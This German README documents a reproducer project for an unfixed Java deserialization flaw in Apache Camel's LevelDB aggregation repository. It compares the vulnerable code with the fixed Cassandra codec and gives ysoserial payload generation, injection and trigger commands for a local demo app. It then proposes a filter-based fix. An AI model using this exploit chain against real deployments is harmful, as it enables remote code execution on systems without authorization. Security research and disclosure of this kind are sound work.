
CVE-2026-25747 - Camel LevelDB Deserialization Vulnerability
Dieses Projekt demonstriert eine Java-Deserialisierungsschwachstelle im Apache-Camel-LevelDB-Aggregations-Repository, ähnlich zu CVE-2024-23114 (die das Cassandra-Aggregations-Repository betraf).
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-leveldb |
| Betroffene Klasse | DefaultLevelDBSerializer.java |
| Verwundbare Methoden | deserializeKey(), deserializeExchange() |
| CWE | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten |
| Auswirkung | Remote Code Execution (RCE) |
| Betroffene Versionen | Alle Versionen einschließlich 4.17.0 (zum Testzeitpunkt ungefixt) |
Die Klasse DefaultLevelDBSerializer verwendet rohes ObjectInputStream ohne jegliche Filterung:
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // NO FILTERING!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // NO FILTERING!
}
});
}
Vergleichen Sie dies mit der gefixten Cassandra-Implementierung (seit Camel 4.4.0):
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
return objectIn.readObject();
}
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init
Erwartete Ausgabe:
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key
Now you can inject a malicious payload with POST /exploit/inject
Laden Sie ysoserial herunter und erzeugen Sie eine Payload:
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
Erwartete Ausgabe:
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key
The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
Dies iteriert durch alle Schlüssel und ruft repo.get() auf, was die Deserialisierung auslöst!
# Check if the command was executed
ls -la /tmp/pwned
Wenn die Datei /tmp/pwned existiert, war der Exploit erfolgreich!
Die Schwachstelle kann über mehrere Wege ausgelöst werden:
get()-Aufruf auf das Repository löst eine Deserialisierung ausFür eine erfolgreiche Ausnutzung:
Schreibzugriff auf LevelDB: Der Angreifer muss in die LevelDB-Datenbankdatei schreiben können
Gadget-Bibliothek im Klassenpfad: Eine Bibliothek mit ausnutzbaren Gadget-Ketten muss vorhanden sein
commons-collections:3.2.1 (CommonsCollections1-7-Gadgets)org.springframework:spring-core (Spring-Gadgets)Wenden Sie denselben Fix wie bei Cassandra an:
ClassLoadingAwareObjectInputStream anstelle von rohem ObjectInputStreamObjectInputFilter mit sicheren Standardwerten hinzu"java.**;org.apache.camel.**;!*"Beispiel-Fix für DefaultLevelDBSerializer.java:
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... rest of deserialization
}
}
Bis ein Fix veröffentlicht wird:
JacksonLevelDBSerializer anstelle von DefaultLevelDBSerializerpotential-leveldb/
├── pom.xml # Maven configuration with vulnerable deps
├── README.md # This file
└── src/main/java/com/example/
├── Application.java # Spring Boot entry point
├── LevelDBRoute.java # Camel route using LevelDB aggregation
├── StringAggregationStrategy.java
└── ExploitController.java # REST endpoints for exploitation
Dieser Reproducer dient ausschließlich der Sicherheitsforschung und autorisierten Tests. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.
| Aspekt | Cassandra (CVE-2024-23114) | LevelDB (Dieses Problem) |
|---|
| Status | In 4.4.0 gefixt | UNGEFIXT in 4.17.0 |
| ObjectInputStream | Verwendet ClassLoadingAwareObjectInputStream | Verwendet rohes ObjectInputStream |
| Deserialisierungsfilter | "java.**;org.apache.camel.**;!*" | Keiner |
| JIRA | CAMEL-20306 | Noch nicht eingereicht |